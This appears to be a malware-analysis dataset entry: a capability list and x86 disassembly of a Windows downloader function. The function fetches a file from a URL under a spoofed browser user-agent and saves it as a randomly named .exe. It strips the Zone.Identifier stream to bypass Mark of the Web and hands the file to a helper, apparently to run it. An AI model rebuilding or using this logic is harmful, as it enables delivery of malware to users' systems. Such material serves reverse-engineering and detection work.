Function at 0x401080
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
sub esp, 0x72c
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
push 0x104
lea eax, [esp + 0x534]
push eax
push 0x402120
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x20]
add edx, 0x3e8
push edx
lea edx, [esp + 0x538]
push edx
push 0x402130
push eax
call ebx
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_83.0.4103.116_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebp, eax
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x401229
mov ecx, dword [esp + 0x73c]
push edi
push 0
push 0
push 0
push 0
push ecx
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
test edi, edi
je 0x401221
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40121a
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x14]
push eax
push 0x103
lea ecx, [esp + 0x230]
push ecx
push edi
call ebp
test eax, eax
je 0x4011c1
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4011bb
push 0
lea edx, [esp + 0x20]
push edx
push eax
lea eax, [esp + 0x234]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ecx
push 0x103
lea edx, [esp + 0x230]
push edx
push edi
call ebp
test eax, eax
jne 0x401187
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebp
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x330]
push 0x402230
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x32c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call ebp
lea eax, [esp + 0x20]
push eax
call fcn.00401000
mov ebp, dword [esp + 0x1c]
add esp, 4
cmp al, 1
jne 0x40121a
mov byte [esp + 0x13], al
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
cmp byte [esp + 0xf], 0
jne 0x4012dc
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
lea eax, [esp + 0x20]
add edx, 0x3e8
push edx
lea edx, [esp + 0x538]
push edx
push str._s_d_d.exe
push eax
call ebx
mov edx, dword [esp + 0x750]
add esp, 0x14
push 0
push 0
lea ecx, [esp + 0x24]
push ecx
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x4012dc
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x32c]
push str._s:Zone.Identifier
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call esi
lea eax, [esp + 0x1c]
push eax
call fcn.00401000
add esp, 4
pop esi
pop ebp
pop ebx
add esp, 0x72c
ret